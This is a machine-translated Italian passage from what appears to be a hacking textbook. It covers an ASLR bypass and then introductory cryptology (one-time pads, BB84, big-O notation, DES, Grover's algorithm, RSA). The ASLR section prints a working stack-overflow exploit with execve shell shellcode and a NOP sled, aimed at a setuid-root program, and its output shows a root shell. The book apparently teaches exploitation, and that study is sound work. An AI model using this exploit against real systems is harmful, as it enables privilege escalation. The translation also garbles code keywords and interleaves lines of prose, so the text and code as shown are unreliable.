reader @ hacking: ~ / booksrc $ ./aslr_demo test
il buffer è a 0xbfcf3480
reader @ hacking: ~ / booksrc $ ./aslr_demo test
il buffer è a 0xbfd39cd0
lettore @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE sarà a 0xbfc8d9c3
lettore @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE sarà a 0xbfa0c9c3
lettore @ hacking: ~ / booksrc $

Contromisure 387

Pagina 402

Senza l' istruzione jmp esp a un indirizzo prevedibile, non esiste


un modo semplice per rimbalzare su linux-gate. Riesci a pensare a un modo per aggirare l'ASLR
sfruttare aslr_demo sul LiveCD?

0x6c3 Conoscenza applicata


Situazioni come questa sono ciò che rende l'hacking un'arte. Lo stato del computer
la sicurezza è un panorama in continua evoluzione e le vulnerabilità specifiche lo sono
scoperto e rattoppato ogni giorno. Tuttavia, se capisci i concetti
delle principali tecniche di hacking spiegate in questo libro, puoi applicarle in
modi nuovi e creativi per risolvere il problema del giorno. Come i mattoncini LEGO,
queste tecniche possono essere utilizzate in milioni di diverse combinazioni e
configurazioni. Come con qualsiasi arte, più pratichi queste tecniche, il
meglio li capirai. Con questa comprensione arriva la saggezza
stimare gli offset e riconoscere i segmenti di memoria dai loro intervalli di indirizzi.
In questo caso, il problema è ancora ASLR. Si spera che tu abbia qualche bypass
idee che potresti voler provare ora. Non aver paura di usare il debugger per
esaminare cosa sta realmente accadendo. Ci sono probabilmente diversi modi per bypassare
ASLR, e potresti inventare una nuova tecnica. Se non trovi una soluzione, non farlo
preoccupati: spiegherò un metodo nella sezione successiva. Ma vale la pena pensarci
su questo problema un po 'da solo prima di leggere avanti.

0x6c4 Un primo tentativo


In effetti, avevo scritto questo capitolo prima che linux-gate fosse riparato in Linux
kernel, quindi ho dovuto hackerare insieme un bypass ASLR. Il mio primo pensiero è stato quello di
sfruttare la famiglia di funzioni execl () . Abbiamo usato execve ()
funzione nel nostro codice shell per generare una shell e se presti molta attenzione
(o leggi semplicemente la pagina man), noterai che la funzione execve () sostituisce il file
processo attualmente in esecuzione con la nuova immagine di processo.

EXEC (3) Manuale del programmatore Linux

NOME
execl, execlp, execle, execv, execvp - esegue un file

SINOSSI
#include <unistd.h>

char esterno ** ambiente;

int execl (const char * percorso, const char * arg, ...);


int execlp (const char * file, const char * arg, ...);
int execle (const char * path, const char * arg,
..., char * const envp []);
int execv (const char * path, char * const argv []);
int execvp (const char * file, char * const argv []);

DESCRIZIONE
La famiglia di funzioni exec () sostituisce il processo corrente
immagine con una nuova immagine di processo. Le funzioni descritte in questo
pagina di manuale sono front-end per la funzione execve (2). (Vedi il

388 0x600

Pagina 403

pagina di manuale per execve () per informazioni dettagliate su


sostituzione del processo in corso.)

Sembra che qui potrebbe esserci un punto debole se il layout della memoria lo è
randomizzato solo quando viene avviato il processo. Testiamo questa ipotesi con a
pezzo di codice che stampa l'indirizzo di una variabile dello stack e quindi viene eseguito
aslr_demo utilizzando una funzione execl () .

aslr_execl.c

#include <stdio.h>
#include <unistd.h>

int main (int argc, char * argv []) {


int stack_var;

// Stampa un indirizzo dallo stack frame corrente.


printf ("stack_var è a% p \ n", & stack_var);

// Avvia aslr_demo per vedere come è organizzato il suo stack.


execl ("./ aslr_demo", "aslr_demo", NULL);
}

Quando questo programma viene compilato ed eseguito, eseguirà execl () aslr_demo,


che stampa anche l'indirizzo di una variabile dello stack (buffer). Questo ci permette di confrontare
i layout di memoria.

reader @ hacking: ~ / booksrc $ gcc -o aslr_demo aslr_demo.c


reader @ hacking: ~ / booksrc $ gcc -o aslr_execl aslr_execl.c
reader @ hacking: ~ / booksrc $ ./aslr_demo test
il buffer è a 0xbf9f31c0
reader @ hacking: ~ / booksrc $ ./aslr_demo test
il buffer è a 0xbffaaf70
lettore @ hacking: ~ / booksrc $ ./aslr_execl
stack_var è a 0xbf832044
il buffer è a 0xbf832000
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbf832044 - 0xbf832000"
$ 1 = 68
lettore @ hacking: ~ / booksrc $ ./aslr_execl
stack_var è a 0xbfa97844
il buffer è a 0xbf82f800
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800"
$ 1 = 2523204
lettore @ hacking: ~ / booksrc $ ./aslr_execl
stack_var è a 0xbfbb0bc4
il buffer è a 0xbff3e710
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710"
$ 1 = 4291241140
lettore @ hacking: ~ / booksrc $ ./aslr_execl
stack_var è a 0xbf9a81b4
il buffer è a 0xbf9a8180
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"
$ 1 = 52
lettore @ hacking: ~ / booksrc $

Contromisure 389

Pagina 404

Il primo risultato sembra molto promettente, ma ulteriori tentativi lo dimostrano


c'è un certo grado di randomizzazione che accade quando il nuovo processo è
eseguito con execl () . Sono sicuro che non è sempre stato così, ma i progressi
dell'open source è piuttosto costante. Da allora questo non è un grosso problema
abbiamo modi per affrontare questa parziale incertezza.

0x6c5 Giocare con le probabilità


L'uso di execl () limita almeno la casualità e ci fornisce un indirizzo di ballpark
gamma. L'incertezza rimanente può essere gestita con una slitta NOP. Un veloce
l'esame di aslr_demo mostra che il buffer di overflow deve essere di 80 byte
per sovrascrivere l'indirizzo di ritorno memorizzato nello stack.

lettore @ hacking: ~ / booksrc $ gdb -q ./aslr_demo


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run $ (perl -e 'print "AAAA" x19. "BBBB"')
Avvio del programma: / home / reader / booksrc / aslr_demo $ (perl -e 'print "AAAA" x19. "BBBB"')
il buffer è a 0xbfc7d3b0

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0x42424242 in ?? ()
(gdb) p 20 * 4
$ 1 = 80
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $

Dal momento che probabilmente vorremo una slitta NOP piuttosto grande, nel seguito
sfruttare la slitta NOP e lo shellcode verrà messo dopo l'indirizzo di ritorno
sovrascrivi. Questo ci consente di iniettare la quantità di una slitta NOP necessaria. In questo
caso, un migliaio di byte o giù di lì dovrebbero essere sufficienti.

aslr_execl_exploit.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80"; // Shellcode standard

int main (int argc, char * argv []) {


unsigned int i, ret, offset;
buffer di caratteri [1000];

printf ("i è in% p \ n", & i);

if (argc> 1) // Imposta offset.


offset = atoi (argv [1]);

ret = (unsigned int) & i - offset + 200; // Imposta l'indirizzo di ritorno.


printf ("ret addr è% p \ n", ret);

390 0x600

Pagina 405
for (i = 0; i <90; i + = 4) // Riempi il buffer con l'indirizzo di ritorno.
* ((unsigned int *) (buffer + i)) = ret;
memset (buffer + 84, 0x90, 900); // Costruisci la slitta NOP.
memcpy (buffer + 900, shellcode, sizeof (shellcode));

execl ("./ aslr_demo", "aslr_demo", buffer, NULL);


}

Questo codice dovrebbe avere senso per te. Il valore 200 viene aggiunto al rendimento
indirizzo per saltare i primi 90 byte utilizzati per la sovrascrittura, quindi l'esecuzione arriva
da qualche parte nella slitta NOP.

lettore @ hacking: ~ / booksrc $ sudo chown root ./aslr_demo


lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./aslr_demo
lettore @ hacking: ~ / booksrc $ gcc aslr_execl_exploit.c
lettore @ hacking: ~ / booksrc $ ./a.out
sono a 0xbfa3f26c
ret addr è 0xb79f6de4
il buffer è a 0xbfa3ee80
Errore di segmentazione
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80"
$ 1 = 1004
lettore @ hacking: ~ / booksrc $ ./a.out 1004
sono a 0xbfe9b6cc
ret addr è 0xbfe9b3a8
il buffer è a 0xbfe9b2e0
sh-3.2 # exit
Uscita
lettore @ hacking: ~ / booksrc $ ./a.out 1004
sono a 0xbfb5a38c
ret addr è 0xbfb5a068
il buffer è a 0xbfb20760
Errore di segmentazione
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760"
$ 1 = 236588
lettore @ hacking: ~ / booksrc $ ./a.out 1004
io è a 0xbfce050c
ret addr è 0xbfce01e8
il buffer è a 0xbfce0130
sh-3.2 # whoami
radice
sh-3.2 #

Come puoi vedere, a volte la randomizzazione fa fallire l'exploit,


ma deve avere successo solo una volta. Questo fa leva sul fatto che possiamo provare il file
sfruttare tutte le volte che vogliamo. La stessa tecnica funzionerà con la nota-
exploit di ricerca mentre ASLR è in esecuzione. Prova a scrivere un exploit per farlo.
Una volta compresi i concetti di base dei programmi di sfruttamento, innumerevoli
le variazioni sono possibili con un po 'di creatività. Poiché le regole di un programma
sono definiti dai suoi creatori, sfruttare un programma apparentemente sicuro è semplicemente un file
questione di batterli al loro stesso gioco. Nuovi metodi intelligenti, come stack
guardie e IDS, cercano di compensare questi problemi, ma queste soluzioni
non sono perfetti neanche. L'ingegnosità di un hacker tende a trovare dei buchi in questi sistemi.
Pensa solo alle cose a cui non hanno pensato.

Contromisure 391

Pagina 407
406

0x700 CRITOLOGIA

La crittografia è definita come lo studio della crittografia o


crittoanalisi. La crittografia è semplicemente il processo di comp
comunicando segretamente attraverso l'uso di cifre, e
la crittoanalisi è il processo di cracking o decifrazione
tali comunicazioni segrete. Storicamente, la crittografia è stata di particolare
interesse durante le guerre, quando i paesi usavano codici segreti per comunicare con
le loro truppe mentre cercano anche di infrangere i codici del nemico per infiltrarsi nelle loro
comunicazioni.
Le applicazioni in tempo di guerra esistono ancora, ma l'uso della crittografia in
la vita civile sta diventando sempre più popolare come transazioni più critiche
si verificano su Internet. Lo sniffing di rete è così comune che il paranoico
l'ipotesi che qualcuno stia sempre fiutando il traffico di rete potrebbe non essere così
paranoico. Password, numeri di carte di credito e altre informazioni proprietarie
possono essere rilevati e rubati tramite protocolli non crittografati. Com crittografata
i protocolli di comunicazione forniscono una soluzione a questa mancanza di privacy e consentono
l'economia di Internet per funzionare. Senza Secure Sockets Layer (SSL)
Pagina 408

crittografia, anche le transazioni con carta di credito su siti web popolari


molto scomodo o insicuro.
Tutti questi dati privati ​sono protetti da algoritmi crittografici che lo sono
probabilmente sicuro. Attualmente, sistemi di crittografia che possono essere dimostrati sicuri
sono troppo ingombranti per un uso pratico. Quindi al posto di una dimostrazione matematica di
sicurezza, vengono utilizzati sistemi crittografici praticamente sicuri . Ciò significa che lo è
possibile che esistano scorciatoie per sconfiggere questi cifrari, ma nessuno lo è stato
in grado di realizzarli ancora. Ovviamente ci sono anche sistemi crittografici che non lo sono
sicuro a tutti. Ciò potrebbe essere dovuto all'implementazione, alla dimensione della chiave o semplicemente
debolezze crittoanalitiche nel codice stesso. Nel 1997, secondo la legge statunitense, il
la dimensione massima consentita della chiave per la crittografia nel software esportato era di 40 bit.
Questo limite alla dimensione della chiave rende la cifratura corrispondente insicura, come è stato mostrato
di RSA Data Security e Ian Goldberg, uno studente laureato presso l'Università
versità della California, Berkeley. RSA ha pubblicato una sfida per decifrare un messaggio
crittografato con una chiave a 40 bit e tre ore e mezza dopo, Ian aveva finito
solo quello. Questa è stata una prova evidente che le chiavi a 40 bit non sono abbastanza grandi per un file
criptosistema sicuro.
La crittografia è rilevante per l'hacking in molti modi. Al più puro
livello, la sfida di risolvere un puzzle è allettante per i curiosi. In più
Livello nefasto, i dati segreti protetti da quel puzzle forse sono anche di più
allettante. Rompere o aggirare le protezioni crittografiche del segreto
i dati possono fornire un certo senso di soddisfazione, per non parlare di un senso di
i contenuti dei dati protetti. Inoltre, una crittografia avanzata è utile in
evitando il rilevamento. Progettati costosi sistemi di rilevamento delle intrusioni di rete
per sniffare il traffico di rete per le firme di attacco sono inutili se l'attaccante lo sta utilizzando
un canale di comunicazione crittografato. Spesso, l'accesso Web crittografato
fornito per la sicurezza del cliente viene utilizzato dagli aggressori come un dispositivo difficile da monitorare
vettore di attacco.

0x710 Teoria dell'informazione

Molti dei concetti di sicurezza crittografica derivano dalla mente di


Claude Shannon. Le sue idee hanno influenzato notevolmente il campo della crittografia,
soprattutto i concetti di diffusione e confusione . Sebbene il seguente
concetti di sicurezza incondizionata, one-time pad, distribuzione delle chiavi quantistiche,
e la sicurezza computazionale non sono state realmente concepite da Shannon, le sue idee
sulla perfetta segretezza e la teoria dell'informazione hanno avuto una grande influenza sul
definizioni di sicurezza.

0x711 Sicurezza incondizionata


Un sistema crittografico è considerato incondizionatamente sicuro se lo è
non può essere rotto, anche con infinite risorse di calcolo. Ciò implica
che la crittoanalisi è impossibile e che anche se si tentasse ogni possibile chiave
in un completo attacco di forza bruta, sarebbe impossibile determinarlo
quale chiave era quella corretta.

394 0x700

Pagina 409

0x712 Blocchi una tantum


Un esempio di un sistema crittografico incondizionatamente sicuro è il blocco unico .
Un one-time pad è un sistema crittografico molto semplice che utilizza blocchi di dati casuali
chiamato pastiglie . Il pad deve essere lungo almeno quanto il messaggio di testo normale
da codificare ei dati casuali sul pad devono essere veramente casuali, in formato
il senso più letterale della parola. Vengono realizzati due pad identici: uno per il
destinatario e uno per il mittente. Per codificare un messaggio, semplicemente il mittente
XORs ogni bit del messaggio di testo in chiaro con il bit corrispondente di
pad. Dopo che il messaggio è stato codificato, il pad viene distrutto per assicurarsi che lo sia
usato solo una volta. Quindi il messaggio crittografato può essere inviato al destinatario con-
per paura della crittoanalisi, poiché il messaggio crittografato non può essere infranto
senza il pad. Quando il destinatario riceve il messaggio crittografato, anche lui
XORs ogni bit del messaggio crittografato con il bit corrispondente del suo
pad per produrre il messaggio di testo in chiaro originale.
Mentre il blocco unico è teoricamente impossibile da rompere, in realtà lo è
non proprio così pratico da usare. La sicurezza delle cerniere monouso
sulla sicurezza dei tamponi. Quando gli elettrodi vengono distribuiti al destinatario
e il mittente, si presume che il canale di trasmissione del pad sia sicuro.
Per essere veramente sicuri, ciò potrebbe comportare un incontro e uno scambio faccia a faccia,
ma per comodità, la trasmissione delle pastiglie può essere facilitata tramite un'altra ancora
cifra. Il prezzo di questa comodità è che l'intero sistema è ora solo
forte quanto l'anello più debole, che sarebbe il codice utilizzato per trasmettere
le pastiglie. Poiché il pad è costituito da dati casuali della stessa lunghezza del file
messaggio di testo in chiaro, e poiché la sicurezza dell'intero sistema è solo come
buono come la sicurezza della trasmissione del pad, di solito ha più senso solo
inviare il messaggio di testo normale codificato utilizzando la stessa cifra che avrebbe
utilizzato per trasmettere il pad.

0x713 Quantum Key Distribution


L'avvento del calcolo quantistico porta molte cose interessanti a
campo della crittografia. Uno di questi è un'implementazione pratica dell'uno-
time pad, reso possibile dalla distribuzione quantistica delle chiavi. Il mistero del quantum
l'entanglement
stringa può
di bit che fornire
può essereunutilizzata
metodo come
affidabile e segreto
chiave. Questoper inviare
viene fattounusando
messaggio casuale
non ortogonale
stati quantistici in fotoni.
Senza entrare troppo nel dettaglio, la polarizzazione di un fotone è la
direzione di oscillazione del suo campo elettrico, che in questo caso può essere lungo il
orizzontale, verticale o una delle due diagonali. Non ortogonale significa semplicemente
gli stati sono separati da un angolo che non è di 90 gradi. Abbastanza curiosamente,
è impossibile determinare con certezza quale di queste quattro polarizzazioni a
singolo fotone ha. La base rettilinea della polarizzazione orizzontale e verticale
zioni è incompatibile con la base diagonale delle due polarizzazioni diagonali,
quindi, a causa del principio di indeterminazione di Heisenberg, queste due serie di polarizzazioni
non possono essere misurati entrambi. I filtri possono essere utilizzati per misurare le polarizzazioni—
uno per la base rettilinea e uno per la base diagonale. Quando un fotone
passa attraverso il filtro corretto, la sua polarizzazione non cambia, ma se passa

Cryptology 395

Pagina 410

attraverso il filtro sbagliato, la sua polarizzazione verrà modificata in modo casuale. Questo
significa che qualsiasi tentativo di intercettazione di misurare la polarizzazione di a
photon ha buone possibilità di rimescolare i dati, rendendolo evidente
il canale non è sicuro.
Questi strani aspetti della meccanica quantistica furono messi a frutto da
Charles Bennett e Gilles Brassard nel primo e probabilmente il più noto
schema di distribuzione delle chiavi quantistiche, denominato BB84 . In primo luogo, il mittente e il destinatario
d'accordo sulla rappresentazione dei bit per le quattro polarizzazioni, in modo tale che ogni base
ha sia 1 che 0. In questo schema, 1 potrebbe essere rappresentato da entrambi verticali
polarizzazione dei fotoni e una delle polarizzazioni diagonali (positiva
45 gradi), mentre 0 potrebbe essere rappresentato dalla polarizzazione orizzontale e
l'altra polarizzazione diagonale (negativa 45 gradi). In questo modo, 1s e
Gli 0 possono esistere quando viene misurata la polarizzazione rettilinea e quando il
viene misurata la polarizzazione diagonale.
Quindi, il mittente invia un flusso di fotoni casuali, ciascuno proveniente da
una base scelta a caso (rettilinea o diagonale) e questi fotoni
vengono registrati. Quando il ricevitore riceve un fotone, sceglie anche a caso
per misurarlo in base rettilinea o diagonale e registra
il risultato. Ora, le due parti confrontano pubblicamente quale base hanno utilizzato
ogni fotone, e mantengono solo i dati corrispondenti ai fotoni che hanno
entrambi misurati utilizzando la stessa base. Questo non rivela i valori di bit di
fotoni, poiché ci sono sia 1 che 0 in ciascuna base. Questo costituisce la chiave
per il blocco unico.
Dal momento che un intercettatore finirebbe per cambiare la polarizzazione
di alcuni di questi fotoni e quindi rimescolano i dati, possono essere intercettazioni
rilevato calcolando il tasso di errore di alcuni sottoinsiemi casuali della chiave. Se
ci sono troppi errori, qualcuno probabilmente stava origliando e il file
la chiave dovrebbe essere gettata via. In caso contrario, la trasmissione dei dati chiave era sicura
e privato.

0x714 Sicurezza computazionale


Un sistema crittografico è considerato sicuro dal punto di vista computazionale se il più noto
algoritmo per rompere richiede una quantità irragionevole di calcolo
risorse e tempo. Ciò significa che è teoricamente possibile una grondaia
contagocce per rompere la crittografia, ma è praticamente impossibile farlo effettivamente
quindi, poiché la quantità di tempo e risorse necessarie supererebbe di gran lunga il
valore delle informazioni crittografate. Di solito, il tempo necessario per interrompere un file
Il sistema crittografico computazionalmente sicuro è misurato in decine di migliaia di
anni, anche con l'ipotesi di una vasta gamma di risorse computazionali.
La maggior parte dei moderni sistemi crittografici rientra in questa categoria.
È importante notare che gli algoritmi più noti per rompere la crittografia
i sistemi sono in continua evoluzione e vengono migliorati. Idealmente, un criptosistema
sarebbe definito come computazionalmente sicuro se il miglior algoritmo per la rottura
richiede una quantità irragionevole di risorse di calcolo e tempo,
ma attualmente non c'è modo di dimostrare che un dato algoritmo di violazione della crittografia
il ritmo è e sarà sempre il migliore. Quindi, l' attuale algoritmo più noto
viene utilizzato invece per misurare la sicurezza di un sistema crittografico.

396 0x700

Pagina 411

0x720 Tempo di esecuzione algoritmico


Il tempo di esecuzione algoritmico è leggermente diverso dal tempo di esecuzione di un programma. Da
un algoritmo è semplicemente un'idea, non c'è limite alla velocità di elaborazione per
valutare l'algoritmo. Ciò significa che un'espressione di esecuzione algoritmica
il tempo in minuti o secondi non ha senso.
Senza fattori come la velocità del processore e l'architettura, l'importante
sconosciuto per un algoritmo è la dimensione dell'input . Un algoritmo di ordinamento in esecuzione su 1.000
gli elementi richiederanno sicuramente più tempo rispetto allo stesso algoritmo di ordinamento in esecuzione
su 10 elementi. La dimensione dell'input è generalmente indicata da n e ciascuna atomica
il passo può essere espresso come un numero. Il tempo di esecuzione di un semplice algoritmo, come
come quello che segue, può essere espresso in termini di n .

per (i = 1 an) {
Fare qualcosa;
Fare un'altra cosa;
}
Fai un'ultima cosa;
Questo algoritmo esegue un ciclo n volte, ogni volta eseguendo due azioni, quindi
esegue un'ultima azione, quindi la complessità temporale per questo algoritmo sarebbe 2 n + 1.
Viene mostrato un algoritmo più complesso con un loop annidato aggiuntivo aggiunto
sotto, avrebbe una complessità temporale di n 2 + 2 n + 1, poiché la nuova azione è
eseguito n 2 volte.

per (x = 1 an) {
for (y = 1 an) {
Fai la nuova azione;
}
}
per (i = 1 an) {
Fare qualcosa;
Fare un'altra cosa;
}
Fai un'ultima cosa;

Ma questo livello di dettaglio per la complessità temporale è ancora troppo granulare. Per
esempio, al crescere di n , la differenza relativa tra 2 n + 5 e
2 n + 365 diventa sempre meno. Tuttavia, quando n diventa più grande, il relativo
la differenza tra 2 n 2 + 5 e 2 n + 5 diventa sempre più grande. Questo tipo
di tendenza generalizzata è ciò che è più importante per il tempo di esecuzione di un file
algoritmo.
Considera due algoritmi, uno con una complessità temporale di 2 n + 365 e
l'altro con 2 n 2 + 5. L' algoritmo 2 n 2 + 5 supererà il 2 n + 365
algoritmo su valori piccoli per n . Ma per n = 30, entrambi gli algoritmi funzionano
allo stesso modo, e per tutti gli n maggiori di 30, l' algoritmo 2 n + 365 avrà prestazioni migliori
l' algoritmo 2 n 2 + 5. Poiché ci sono solo 30 valori per n in cui il
L' algoritmo 2 n 2 + 5 funziona meglio, ma un numero infinito di valori per n
in cui l' algoritmo 2 n + 365 funziona meglio, l' algoritmo 2 n + 365 è
generalmente più efficiente.

Cryptology 397

Pagina 412

Ciò significa che, in generale, il tasso di crescita della complessità temporale di


un algoritmo rispetto alla dimensione dell'input è più importante del tempo
plexity per qualsiasi input fisso. Anche se questo potrebbe non essere sempre vero per lo specifico
applicazioni del mondo reale, questo tipo di misurazione dell'efficienza di un algoritmo
tende ad essere vero quando viene mediata su tutte le possibili applicazioni.

0x721 Notazione asintotica


La notazione asintotica è un modo per esprimere l'efficienza di un algoritmo. È chiamato
asintotico perché si occupa del comportamento dell'algoritmo come input
la dimensione si avvicina al limite asintotico dell'infinito.
Tornando agli esempi dell'algoritmo 2 n + 365 e 2 n 2 + 5
algoritmo, abbiamo determinato che l' algoritmo 2 n + 365 è generalmente più
efficiente perché segue l'andamento di n , mentre l' algoritmo 2 n 2 + 5
segue l'andamento generale di n 2 . Ciò significa che 2 n + 365 è delimitato sopra
da un multiplo positivo di n per tutti sufficientemente grande n , e 2 n 2 + 5 è delimitata
sopra da un multiplo positivo di n 2 per tutti n sufficientemente grandi .
Sembra un po 'confuso, ma tutto ciò che significa veramente è che esiste un file
costante positiva per il valore del trend e un limite inferiore su n , tale che il
il valore del trend moltiplicato per la costante sarà sempre maggiore del tempo
complessità per tutti n maggiore del limite inferiore. In altre parole, 2 n 2 + 5 è
nell'ordine di n 2 e 2 n + 365 è nell'ordine di n . C'è un comodo
notazione matematica per questo, chiamata notazione big-oh , che assomiglia a O ( n 2 )
per descrivere un algoritmo che è dell'ordine di n 2 .
Un modo semplice per convertire la complessità temporale di un algoritmo in notazione big-oh
è semplicemente guardare i termini di ordine elevato, poiché questi saranno i termini che
importa di più quando n diventa sufficientemente grande. Quindi un algoritmo con un tempo
la complessità di 3 n 4 + 43 n 3 + 763 n + log n + 37 sarebbe nell'ordine di O ( n 4 ),
e 54 n 7 + 23 n 4 + 4325 sarebbe O ( n 7 ).

0x730 Crittografia simmetrica

Le crittografie simmetriche sono sistemi crittografici che utilizzano la stessa chiave per crittografare e
decifrare i messaggi. Il processo di crittografia e decrittografia è generalmente più veloce
rispetto alla crittografia asimmetrica, ma la distribuzione delle chiavi può essere difficile.
Questi cifrari sono generalmente cifrati a blocchi o cifrari a flusso.
Un cifrario a blocchi opera su blocchi di dimensioni fisse, solitamente 64 o 128 bit. Il
lo stesso blocco di testo in chiaro verrà sempre crittografato nello stesso blocco di testo cifrato,
utilizzando la stessa chiave. DES, Blowfish e AES (Rijndael) sono tutti cifrari a blocchi.
I cifrari a flusso generano un flusso di bit pseudo-casuali, di solito uno dei due
bit o byte alla volta. Questo è chiamato keystream ed è XORed con l'estensione
testo in chiaro. Ciò è utile per crittografare flussi di dati continui. RC4 e
Gli LSFR sono esempi di popolari cifrari a flusso. RC4 sarà discusso in profondità
in "Crittografia wireless 802.11b" a pagina 433 .
DES e AES sono entrambi popolari cifrari a blocchi. Ci si pensa molto
la costruzione di codici a blocchi per renderli resistenti alle criptovalute note
attacchi analitici. Due concetti usati ripetutamente nei codici a blocchi sono la confusione

398 0x700

Pagina 413

e diffusione. La confusione si riferisce ai metodi utilizzati per nascondere le relazioni tra


il testo in chiaro, il testo cifrato e la chiave. Ciò significa che i bit di output
deve comportare una trasformazione complessa della chiave e del testo in chiaro. Diffusione
serve a diffondere l'influenza dei bit di testo in chiaro e dei bit chiave su come
gran parte del testo cifrato possibile. I cifrari del prodotto combinano entrambi questi
concetti utilizzando ripetutamente varie semplici operazioni. Sia DES che AES
sono codici di prodotto.
DES utilizza anche una rete Feistel. Viene utilizzato in molti codici a blocchi per
assicurarsi che l'algoritmo sia invertibile. Fondamentalmente, ogni blocco è diviso in
due metà, sinistra ( L ) e destra ( R ). Quindi, in un round di operazioni, il nuovo
metà sinistra ( L i ) è impostata per essere uguale alla vecchia metà destra ( R i −1 ), e la nuova metà destra
metà ( R i ) è costituita dalla vecchia metà sinistra ( L i −1 ) XORed con l'uscita di un
utilizzando la vecchia metà destra ( R i −1 ) e la sottochiave per quel round ( K i ).
Di solito, ogni round di operazione ha una sottochiave separata, che viene calcolata
prima.
I valori per L i e R i sono i seguenti (il simbolo ⊕ indica XOR
operazione):

L io = R io −1

R i = L i −1 ⊕ f ( R i −1 , K i )

DES utilizza 16 round di operazioni. Questo numero è stato scelto appositamente per
difendersi dalla crittoanalisi differenziale. L'unica vera debolezza conosciuta di DES è
la sua dimensione chiave. Poiché la chiave è di soli 56 bit, è possibile controllare l'intero spazio delle chiavi
in un completo attacco di forza bruta in poche settimane su hardware specializzato.
Triple-DES risolve questo problema utilizzando due chiavi DES concatenate
insieme per una dimensione chiave totale di 112 bit. La crittografia viene eseguita crittografando il file
blocco di testo normale con la prima chiave, quindi decrittografia con la seconda chiave e
quindi crittografando di nuovo con la prima chiave. La decrittografia viene eseguita in modo analogo, ma
con le operazioni di crittografia e decrittografia cambiate. La dimensione della chiave aggiunta
rende uno sforzo di forza bruta esponenzialmente più difficile.
La maggior parte dei codici a blocchi standard del settore sono resistenti a tutte le forme conosciute di
crittanalisi e le dimensioni delle chiavi sono generalmente troppo grandi per tentare un'esaustiva
attacco di forza bruta. Tuttavia, il calcolo quantistico fornisce alcune cose interessanti
possibilità, che sono generalmente sopravvalutate.

0x731 Algoritmo di ricerca quantistica di Lov Grover


Il calcolo quantistico offre la promessa di un parallelismo massiccio. Un quantum
il computer può memorizzare molti stati diversi in una sovrapposizione (che può essere
pensato come un array) ed eseguire calcoli su tutti contemporaneamente.
Questo è l'ideale per forzare qualsiasi cosa, inclusi i cifrari a blocchi. Il super-
posizione può essere caricata con ogni chiave possibile, quindi la crittografia
l'operazione può essere eseguita su tutti i tasti contemporaneamente. La parte difficile
sta ottenendo il valore giusto dalla sovrapposizione. I computer quantistici lo sono
strano in quanto quando si osserva la sovrapposizione, l'intera cosa si decompone
in un unico stato. Sfortunatamente, questa decoerenza è inizialmente casuale e
le probabilità di decentrarsi in ogni stato della sovrapposizione sono uguali.

Cryptology 399

Pagina 414

Senza un modo per manipolare le probabilità degli stati di sovrapposizione,


lo stesso effetto potrebbe essere ottenuto semplicemente indovinando le chiavi. Per fortuna, un uomo
chiamato Lov Grover ha inventato un algoritmo in grado di manipolare le probabilità
degli stati di sovrapposizione. Questo algoritmo consente le probabilità di un certo desiderato
stato di aumentare mentre gli altri diminuiscono. Questo processo viene ripetuto più volte
volte fino a quando il deceraggio della sovrapposizione nello stato desiderato è
quasi garantito. Questo richiede circa Sopra passi.
Usando alcune abilità matematiche esponenziali di base, noterai che questo è giusto
dimezza efficacemente la dimensione della chiave per un attacco di forza bruta completo. Quindi, per il
ultra paranoico, raddoppiare la dimensione della chiave di un cifrario a blocchi lo renderà resistente
anche alle possibilità teoriche di un attacco di forza bruta esaustivo con a
computer quantistico.

Crittografia asimmetrica 0x740

Le crittografie asimmetriche utilizzano due chiavi: una chiave pubblica e una chiave privata. Il pubblico
la chiave è resa pubblica, mentre la chiave privata è mantenuta privata; da qui i nomi intelligenti.
Qualsiasi messaggio crittografato con la chiave pubblica può essere decrittografato solo con
la chiave privata. Ciò elimina il problema della distribuzione delle chiavi: le chiavi pubbliche lo sono
public e, utilizzando la chiave pubblica, un messaggio può essere crittografato per
chiave privata corrispondente. A differenza dei codici simmetrici, non è necessario un file
canale di comunicazione fuori banda per trasmettere la chiave segreta. Però,
I cifrari asimmetrici tendono ad essere un po 'più lenti di quelli simmetrici.

0x741 RSA
RSA è uno degli algoritmi asimmetrici più popolari. La sicurezza di RSA
si basa sulla difficoltà di factoring di grandi numeri. Primo, due numeri primi
vengono scelti, P e Q, e il loro prodotto, N, viene calcolato:

N=P·Q

Quindi, il numero di numeri tra 1 e N - 1 che sono relativamente


da primo a N deve essere calcolato (due numeri sono primi tra loro se sono maggiori
divisore comune è 1). Questo è noto come funzione totiente di Eulero, e di solito lo è
indicato dalla lettera greca minuscola phi (φ).
Ad esempio, φ (9) = 6, poiché 1, 2, 4, 5, 7 e 8 sono primi relativamente a 9.
Dovrebbe essere facile notare che se N è primo, φ ( N ) sarà N - 1. A un po '
un fatto meno ovvio è che se N è il prodotto di esattamente due numeri primi, P
e Q , quindi φ ( P · Q ) = ( P - 1) · ( Q - 1). Questo è utile, poiché φ ( N )
deve essere calcolato per RSA.
È necessario scegliere una chiave di crittografia, E , relativamente primo rispetto a φ ( N )
a caso. Quindi è necessario trovare una chiave di decrittazione che soddisfi quanto segue
